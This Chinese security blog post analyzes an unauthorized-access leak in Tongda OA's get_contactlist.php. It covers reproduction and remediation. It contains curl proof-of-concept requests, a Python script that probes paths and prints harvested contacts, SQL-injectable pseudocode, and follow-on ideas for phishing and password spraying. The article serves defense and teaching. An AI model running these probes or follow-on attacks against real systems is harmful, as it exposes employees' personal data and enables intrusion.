通达OA未授权访问漏洞深度剖析：get_contactlist.php敏感信息泄漏实战复现与修复

weixin_34289454

444人浏览 · 2026-06-26 16:24:25

weixin_34289454 · 2026-06-26 16:24:25 发布

1. 项目概述：一次针对通达OA信息泄漏漏洞的深度剖析

最近在梳理一些历史遗留的OA系统安全问题时，通达OA的 get_contactlist.php 文件引发的敏感信息泄漏漏洞再次进入了我的视野。这个漏洞虽然原理不复杂，但其暴露出的问题却非常典型——许多企业级应用在追求功能便捷性的同时，往往忽略了接口权限的精细化控制，导致内部敏感数据“门户大开”。简单来说，这个漏洞允许未授权的攻击者直接访问一个本应受限的接口，从而批量获取到系统内所有用户的联系信息，包括姓名、部门、职位、手机号、邮箱等。对于攻击者而言，这无疑是进行社会工程学攻击、精准钓鱼，甚至进一步渗透内网的绝佳起点。今天，我就结合自己的实战经验，把这个漏洞的来龙去脉、复现过程、影响范围以及修复建议，给大家掰开揉碎了讲清楚。无论你是安全研究人员、企业运维，还是对Web安全感兴趣的开发者，理解这个案例都能帮你更好地审视自身系统的安全性。

2. 漏洞原理与核心逻辑深度拆解

2.1 通达OA架构与 `get_contactlist.php` 的角色定位

通达OA作为一款广泛使用的协同办公平台，其组织架构和通讯录模块是核心功能之一。 get_contactlist.php 这个文件，从命名上就能看出它的职责：获取联系人列表。在正常的业务逻辑中，前端页面（如通讯录界面）会通过AJAX等方式调用这个后端接口，传入必要的参数（如部门ID、搜索关键词等），接口在验证用户会话权限后，从数据库中查询对应的联系人信息，并以JSON或XML格式返回给前端渲染。

问题就出在这个“验证用户会话权限”的环节。一个设计良好的接口应该在处理请求的第一步就进行严格的权限校验，确认当前请求是否来自一个已登录且拥有相应数据访问权限的用户。然而，在存在漏洞的通达OA版本中， get_contactlist.php 文件可能完全缺失了这项校验，或者校验逻辑存在严重缺陷（例如，仅检查了某个可以被绕过的参数）。

2.2 漏洞触发的关键条件与路径分析

该漏洞的触发通常不依赖于复杂的参数构造或特殊的攻击技巧，它属于典型的“未授权访问”漏洞。攻击者无需登录，只需知道这个接口的完整URL路径，直接通过浏览器或工具（如 curl 、 Postman ）发起HTTP请求，服务器就会“乖乖地”返回数据。

其核心漏洞代码逻辑可能类似于以下伪代码：

// get_contactlist.php (漏洞版本)
$dept_id = $_GET['dept_id']; // 获取部门参数
$keyword = $_GET['keyword']; // 获取搜索关键词

// 缺失：session验证或token验证
// if (!isset($_SESSION['user_id'])) { die('未授权'); }

$sql = "SELECT user_id, real_name, dept_name, position, mobile, email FROM td_user WHERE 1=1";
if ($dept_id) {
    $sql .= " AND dept_id = '$dept_id'";
}
if ($keyword) {
    $sql .= " AND (real_name LIKE '%$keyword%' OR mobile LIKE '%$keyword%')";
}
// 直接执行查询并输出结果
$result = mysql_query($sql);
echo json_encode(fetch_all($result));

从上面简化的代码可以看出，整个脚本没有任何身份认证和授权检查。它直接信任了来自客户端的请求，并执行了数据库查询。更危险的是，查询的字段包含了 mobile （手机号）、 email （邮箱）这类高敏感的个人信息。

2.3 敏感信息泄漏的具体内容与潜在危害

通过此漏洞泄露的信息远不止一个名单那么简单，其危害是立体且深远的：

个人隐私泄露 ：直接获取员工的姓名、手机号、邮箱、部门、职位。这些信息可以被用于：
- 精准电信诈骗 ：攻击者可以冒充公司领导、HR或IT部门，向员工发送钓鱼短信或邮件，成功率极高。
- 社会工程学攻击 ：利用获取的组织架构信息，伪装成特定部门的同事，骗取信任，获取更多敏感信息或权限。
- 个人信息贩卖 ：这些数据在黑产市场上有明确的价值。
企业安全边界突破 ：通讯录是绘制企业内网“社交图谱”的关键。攻击者可以：
- 寻找攻击跳板 ：分析组织架构，重点针对IT部、财务部、高管等关键岗位人员，作为下一步渗透的突破口。
- 推测账号命名规则 ：结合姓名和邮箱后缀（如 zhangsan@company.com ），很容易推测出企业内部系统的账号命名规则（例如，姓名的全拼），为爆破登录入口提供字典。
后续攻击的跳板 ：获取到的邮箱是进行鱼叉式钓鱼攻击的绝佳目标。结合从其他渠道（如领英、官网）获取的更多信息，可以构造出极具迷惑性的钓鱼邮件，诱导员工点击恶意链接或下载木马，从而将攻击从外部引入内部网络。

注意：在实际测试中，不同版本或部署环境下，泄露的字段可能略有差异，但核心的个人标识信息和联系方式几乎都会存在。切勿在真实生产环境进行未授权的测试，这不仅是违法行为，也可能对业务造成直接影响。

3. 漏洞复现环境搭建与实操过程

3.1 实验环境准备

为了安全、合法地复现和研究该漏洞，我们必须在一个隔离的、自建的环境中进行。

靶机环境：

操作系统 ：Windows 7 / Windows Server 2008 R2 或更高版本（用于安装传统PHP环境），或直接使用Linux（如Ubuntu）。
通达OA版本 ：需要明确存在漏洞的版本。根据历史漏洞情报，该漏洞影响某个特定版本范围（例如，早于V11.x的某些版本）。 请务必通过官方渠道或可信源确认测试所用版本的合法性，严禁使用未经授权的商业版本。 建议使用官方为测试提供的旧版本安装包，或使用网络安全社区中常用于合法渗透测试的靶场环境（如某些集成在 Vulhub 、 DVWA 变体或专有靶场中的通达OA漏洞场景）。
Web服务 ：Apache / Nginx。
中间件 ：PHP 5.4 - 7.0（需匹配通达OA版本要求）。
数据库 ：MySQL 5.x。

攻击机环境：

操作系统 ：Kali Linux 或任何安装有渗透测试工具的Linux/Windows系统。
必备工具 ：
- curl ：命令行HTTP工具，用于快速发送请求。
- Burp Suite ：拦截、重放、修改HTTP请求的专业工具，用于深入分析。
- 浏览器 ：用于直观访问和测试。
- Python3 + requests 库：用于编写简单的验证脚本。

实操心得 ：强烈建议使用虚拟机（如VMware Workstation或VirtualBox）来搭建整个实验环境，并通过Host-Only或NAT网络模式将靶机和攻击机置于同一虚拟网络内。这样既能模拟真实网络访问，又能确保与物理主机及外网隔离，避免意外风险。

3.2 漏洞复现核心步骤详解

假设我们已经在一个隔离的局域网内安装好了存在漏洞的通达OA系统，其访问地址为 http://192.168.1.100 。

步骤一：定位漏洞接口 根据漏洞描述，目标接口是 get_contactlist.php 。我们需要找到它的完整访问路径。通达OA的PHP文件通常位于Web根目录下，或是在 /general/ 、 /mobile/ 、 /inc/ 等子目录中。通过常见的目录扫描工具（如 dirsearch 、 gobuster ）或根据经验，可以尝试以下路径：

http://192.168.1.100/general/address/get_contactlist.php
http://192.168.1.100/mobile/inc/get_contactlist.php
http://192.168.1.100/inc/get_contactlist.php

也可以直接搜索通达OA的源代码或安装包中的 get_contactlist.php 文件来确定其确切位置。

步骤二：构造未授权访问请求 确定URL后，我们直接在未登录的状态下，使用浏览器或 curl 访问该地址。最简单的请求就是直接GET访问：

curl http://192.168.1.100/general/address/get_contactlist.php

或者尝试带上一些常见的参数，看看是否会返回更多或更精确的数据：

curl "http://192.168.1.100/general/address/get_contactlist.php?dept_id=1"
curl "http://192.168.1.100/general/address/get_contactlist.php?keyword=张"

步骤三：分析服务器响应 如果漏洞存在，服务器通常会返回一个结构化的数据响应，而不是跳转到登录页或返回错误信息。常见的响应形式是JSON：

{
  "status": "success",
  "data": [
    {"user_id": "1", "real_name": "张三", "dept_name": "管理部", "position": "经理", "mobile": "13800138000", "email": "zhangsan@company.com"},
    {"user_id": "2", "real_name": "李四", "dept_name": "技术部", "position": "工程师", "mobile": "13900139000", "email": "lisi@company.com"},
    // ... 更多用户数据
  ]
}

也可能是XML或简单的HTML表格形式。关键点在于，你在未提供任何登录凭证（如Cookie、Token）的情况下，获取到了本应受保护的敏感数据列表。

步骤四：使用Burp Suite进行深入测试 为了更专业地验证和利用，我们可以使用Burp Suite。

在浏览器中配置代理指向Burp。
访问一个通达OA需要登录后才能正常访问的页面（如个人门户），此时Burp会拦截到请求，我们将其发送到 Repeater 模块。
在 Repeater 中，将请求的 Host 、路径等信息替换成我们的目标URL http://192.168.1.100/general/address/get_contactlist.php 。
关键操作 ： 删除或清空请求头中所有与会话相关的字段 ，最主要是 Cookie 头。确保这是一个“纯净”的、无状态的HTTP请求。
点击“Send”。观察响应。如果依然返回数据，则确认为未授权访问漏洞。

3.3 自动化验证脚本编写

对于需要批量验证多个系统的情况，手动操作效率低下。我们可以编写一个简单的Python脚本来实现自动化探测。

import requests
import sys
import json

def check_vulnerability(url):
    """
    检查指定的通达OA地址是否存在get_contactlist.php未授权访问漏洞。
    """
    # 常见的可能存在漏洞的路径
    paths = [
        '/general/address/get_contactlist.php',
        '/mobile/inc/get_contactlist.php',
        '/inc/get_contactlist.php',
        '/webroot/general/address/get_contactlist.php' # 其他可能路径
    ]
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    }
    
    for path in paths:
        target_url = url.rstrip('/') + path
        try:
            print(f"[*] 尝试访问: {target_url}")
            # 发起一个不带任何会话信息的GET请求
            response = requests.get(target_url, headers=headers, timeout=10, verify=False)
            
            # 检查响应状态码和内容
            if response.status_code == 200:
                content = response.text
                # 启发式判断：响应中包含常见的敏感字段关键词
                keywords = ['real_name', 'mobile', 'email', 'user_id', 'dept_name']
                if any(keyword in content for keyword in keywords) and ('login' not in content.lower()):
                    print(f"[!] 疑似存在漏洞: {target_url}")
                    print(f"[!] 响应预览: {content[:500]}...") # 打印前500字符
                    # 尝试解析JSON，更美观地输出
                    try:
                        data = response.json()
                        if isinstance(data, dict) and 'data' in data:
                            print(f"[+] 成功获取到 {len(data['data'])} 条联系人信息。")
                            for user in data['data'][:3]: # 打印前3条作为示例
                                print(f"    - 姓名: {user.get('real_name')}, 手机: {user.get('mobile')}, 部门: {user.get('dept_name')}")
                    except json.JSONDecodeError:
                        pass
                    return True
                else:
                    print(f"[-] 路径 {path} 可访问，但未检测到敏感数据格式。")
            else:
                print(f"[-] 路径 {path} 返回状态码: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求 {target_url} 失败: {e}")
            continue
    print("[-] 未发现明显的漏洞迹象。")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("用法: python3 check_tongda_oa.py <目标URL>")
        print("示例: python3 check_tongda_oa.py http://192.168.1.100")
        sys.exit(1)
    
    target = sys.argv[1]
    check_vulnerability(target)

注意事项 ：此脚本仅用于授权环境下的安全测试。 verify=False 参数仅用于忽略自签名证书错误，在生产环境中应谨慎使用。在实际测试中，响应格式可能不同，需要根据实际情况调整关键词判断逻辑。

4. 漏洞根因分析与安全编码启示

4.1 从开发视角看漏洞成因

这个漏洞是Web应用安全中“失效的访问控制”的经典案例。从开发层面深究，其根源往往在于以下几点：

功能优先，安全滞后 ：在快速迭代的开发模式下，开发者可能优先实现功能逻辑（“能查询返回数据”），而将权限校验这种“非功能性需求”暂时搁置或简单处理，后期又忘记补上。
对“前端安全”的过度依赖 ：开发者可能认为，通讯录页面本身已经通过登录墙保护，调用该页面的接口自然也是安全的。这是一种危险的假设。攻击者完全可以绕过前端页面，直接模拟或构造对后端接口的请求。
缺乏统一的权限校验框架 ：如果每个PHP文件都需要手动编写一段权限校验代码，很容易出现遗漏。优秀的做法是采用中间件（Middleware）或前置控制器（Front Controller）模式，在请求进入具体业务逻辑之前，进行统一的身份认证和权限判断。
配置文件或路由设置错误 ：在某些情况下，可能是服务器的配置（如 .htaccess 、 nginx.conf ）或框架的路由规则，意外地将这个本应受保护的脚本文件暴露在了公开可访问的目录下。

4.2 安全的接口设计应遵循的原则

修复这个漏洞，并避免类似问题，需要从设计层面入手：

默认拒绝原则 ：所有接口默认情况下都应禁止访问，必须经过显式的身份认证和授权后才能放行。
在入口处统一校验 ：不要在业务逻辑中分散地进行权限判断。应在请求分发的最初阶段（如 index.php 入口文件或路由控制器中）进行会话验证。
最小权限原则 ：即使接口需要被访问，也应返回当前登录用户权限范围内的最小数据集。例如，普通员工可能只能看到本部门同事的姓名和分机号，而不应看到手机号和邮箱。
使用安全的会话管理 ：依赖强随机性的Session ID，并确保其通过安全的Cookie传输（ HttpOnly , Secure 标志）。
对敏感操作使用Token ：对于重要的数据查询或操作，除了Session，还可以要求携带一次性Token或签名，防止CSRF攻击和请求重放。

4.3 针对通达OA漏洞的临时加固建议

对于正在使用受影响版本又无法立即升级的用户，可以采取以下临时缓解措施：

文件访问控制 ：在Web服务器（Apache/Nginx）配置中，对 get_contactlist.php 及其所在目录设置访问限制，只允许来自内网IP或经过认证的请求访问。

Nginx示例 ：

location ~ ^/general/address/get_contactlist\.php$ {
    allow 192.168.1.0/24; # 只允许内网网段
    deny all;
    # ... 原有的fastcgi配置
}

Apache示例（.htaccess） ：

<Files "get_contactlist.php">
    Order Deny,Allow
    Deny from all
    Allow from 192.168.1
</Files>

源码层面快速修补 ：在 get_contactlist.php 文件的 最开头 ，强制加入会话验证代码。

<?php
// get_contactlist.php 修复补丁（顶部添加）
session_start();
if (!isset($_SESSION['user_id']) || empty($_SESSION['user_id'])) {
    header('HTTP/1.1 403 Forbidden');
    echo json_encode(['status' => 'error', 'message' => '未授权访问']);
    exit();
}
// ... 原有的业务逻辑代码
?>

重要提醒 ：直接修改生产环境源码风险极高，务必先在测试环境验证，并做好备份。这仅是临时缓解措施，最终解决方案是升级到官方修复后的版本。

5. 漏洞修复方案与长期防护策略

5.1 官方补丁升级与版本管理

最根本、最推荐的解决方案是升级通达OA到官方已修复该漏洞的最新版本。用户应定期关注通达OA官方发布的安全公告和版本更新信息。

获取补丁信息 ：访问通达OA官方网站或技术支持渠道，查询针对 get_contactlist.php 信息泄漏漏洞的安全公告，获取对应的补丁文件或升级指南。
测试环境先行 ：下载补丁或新版本安装包后，务必在与生产环境相似的测试环境中进行部署和全面测试，验证漏洞是否修复，并确保新版本不会引入兼容性问题。
制定升级计划 ：在生产环境升级时，选择业务低峰期，并制定详细的回滚方案。升级后，需再次使用安全扫描工具或手动验证，确认漏洞已不可复现。

5.2 构建纵深防御体系

单一漏洞的修复不足以应对持续的安全威胁。企业需要建立体系化的安全防护策略：

定期安全评估与渗透测试 ：聘请专业的安全团队或使用自动化工具，定期对OA系统进行全面的安全评估和渗透测试，主动发现潜在风险。
部署Web应用防火墙（WAF） ：在OA服务器前端部署WAF，可以有效拦截针对已知漏洞的攻击行为，如未授权访问、SQL注入等。可以配置规则，阻断对 get_contactlist.php 等敏感接口的异常访问。
加强网络访问控制 ：通过防火墙策略，严格限制OA系统管理后台和敏感API接口的访问来源IP，仅允许运维终端和可信网络区域访问。
完善日志审计与监控 ：启用并详细记录OA系统的访问日志、错误日志和安全日志。监控对敏感接口（如 get_contactlist.php ）的访问频率和来源，设置告警规则，对异常访问（如短时间内大量未授权请求）及时告警。

5.3 开发安全生命周期（SDL）实践

从长远看，将安全融入软件开发的全生命周期是杜绝此类漏洞的根本。

安全需求与设计 ：在项目设计阶段，就明确各模块、各接口的安全要求，包括身份认证、授权、数据脱敏等。
安全编码培训 ：对开发人员进行持续的安全编码培训，使其了解并避免常见的安全漏洞（如OWASP Top 10）。
代码安全审计 ：在代码提交前或发布前，引入静态应用程序安全测试（SAST）工具进行自动化扫描，并结合人工代码审查，重点关注权限校验逻辑。
自动化动态测试 ：在测试阶段，使用动态应用程序安全测试（DAST）工具对运行中的应用进行漏洞扫描。

6. 常见问题排查与实战技巧实录

在实际的漏洞验证和修复过程中，你可能会遇到以下问题：

6.1 复现过程中可能遇到的问题

问题现象	可能原因	排查步骤与解决方案
访问接口返回空白页或404	1. 接口路径不正确。 2. 文件不存在或被删除。 3. 服务器配置禁止访问 `.php` 文件。	1. 使用目录扫描工具重新定位文件。 2. 检查通达OA安装目录，确认文件是否存在。 3. 检查Web服务器（如Apache的 `mod_security` 、Nginx的配置）是否有拦截规则。
返回登录页面或“请登录”提示	接口本身存在基础校验，但可能校验不严（如只检查某个特定Cookie）。	1. 使用Burp Suite抓取一个正常登录后的请求，分析其Cookie和请求头。 2. 尝试在未授权请求中伪造或添加这些会话标识，看是否能绕过。这可能是一个更深层次的逻辑漏洞。
返回数据格式混乱或非JSON	接口可能根据参数返回不同格式（如HTML、XML），或存在错误。	1. 检查响应头的 `Content-Type` 。 2. 尝试添加 `Accept: application/json` 请求头。 3. 查看响应体原始内容，可能数据被包裹在HTML注释或某个JS变量中。
脚本返回数据库错误信息	请求参数可能导致SQL语法错误，暴露了SQL注入漏洞。	这是一个更严重的漏洞！应停止测试并立即报告。错误信息可能暴露数据库结构。切勿继续利用，需遵循负责任的漏洞披露流程。

6.2 修复后验证不通过的排查点

打完补丁或升级后，务必进行验证。

未授权访问测试 ：再次使用之前的复现方法（无Cookie的curl或浏览器匿名窗口）访问漏洞接口，应返回明确的403、401错误或登录跳转， 绝不能 是200状态码加敏感数据。
授权访问测试 ：使用一个低权限的测试账号正常登录系统，访问通讯录功能。确保功能正常，且返回的数据符合该用户的权限（例如，看不到其他部门员工的手机号）。这验证了修复没有破坏正常业务。
检查补丁是否生效 ：查看 get_contactlist.php 文件的修改时间，确认补丁文件已成功覆盖。或者直接查看文件开头是否添加了类似 session_start() 和权限检查的代码。
清除浏览器缓存 ：有时浏览器或中间代理缓存了旧的响应，可能导致误判。测试时务必使用无痕模式或清除缓存。

6.3 渗透测试中的关联利用思路

在授权渗透测试中，发现此类信息泄漏漏洞后，不应止步于此，可以思考如何将其作为支点，进行深度利用：

构建精准钓鱼字典 ：将获取到的姓名、邮箱、部门信息进行整理。可以针对特定部门（如财务部）制作极具欺骗性的钓鱼邮件主题和发件人伪装。
密码喷洒攻击 ：结合获取到的用户名（可能是邮箱前缀或工号）和公司常用的初始密码规则（如“姓名全拼+出生年月”），尝试对OA登录门户、邮箱系统、VPN等入口进行低频率的密码喷洒攻击，避免触发账户锁定。
信息拼图 ：将此处泄露的信息，与从其他渠道（如官网、招聘网站、社交媒体）收集到的信息进行关联分析，可以更精准地描绘出关键人物的画像，用于高阶的社会工程学攻击。

核心原则强调 ：所有这些关联利用思路，必须在获得明确书面授权的渗透测试范围内进行。未经授权进行测试即属违法。作为安全从业者，我们的目标是帮助客户发现并修复风险，而非制造风险。

7. 从该漏洞延伸的通用安全思考

通达OA这个漏洞看似只是一个简单的脚本权限缺失，但它像一面镜子，映照出许多传统B/S架构应用，尤其是早期PHP应用普遍存在的安全问题。这类应用往往由功能驱动开发，缺乏统一的安全架构设计，权限校验东一块西一块，全靠开发者的“自觉”，漏洞几乎不可避免。

对于企业而言，不能总指望供应商的补丁。建立自身的安全运维能力至关重要。这包括：定期对核心业务系统进行漏洞扫描和渗透测试；对互联网暴露的资产进行持续监控和收敛；对内部员工进行安全意识培训，防范社会工程学攻击；建立完善的应急响应流程，以便在发生安全事件时能快速止损。

对于开发者，这个案例是一次深刻的教育： 永远不要信任客户端传来的任何东西，包括“这个请求一定来自我们自己的前端页面”这种假设。 任何数据接口，在执行业务逻辑之前，都必须进行身份认证和权限授权。在设计系统时，采用成熟的、带有安全框架的开发模式，远比在业务代码中零星地添加 if 语句要可靠得多。

我在多次内部审计和红队评估中，发现类似“未授权访问”的问题居高不下。修复它们有时只需要几行代码，但发现它们却需要建立起一套完整的安全开发和测试体系。安全是一个过程，而不是一个产品。从这个小小的 get_contactlist.php 开始，重新审视你的系统吧，或许下一个“门户大开”的接口，就藏在某个看似普通的业务脚本里。

亚马逊云科技技术品牌专区

更多推荐

【Flink SQL 学习笔记二】实时聚合：用窗口和 Watermark 把订单按时段统计

亚马逊云科技技术品牌专区

2026 大模型量化：怎么把 70B 大模型塞进 24G 显存？（MonkeyCode 云端实战）

2026年开源大模型参数动辄几百亿，模型文件动辄上百GB，能不能跑起来比的不是代码写得多漂亮，而是谁更会"压缩"。本文讲透大模型量化：量化到底在压什么？核心公式、PTQ与QAT两条路线、INT8/INT4位宽与精度权衡、混合精度的聪明做法，以及量化如何让端侧离线环境都能跑大模型。用MonkeyCode云端沙箱跑真实量化流程，让AI自己写代码加载模型、做量化、实测显存与速度对比，内置多款主流大模型一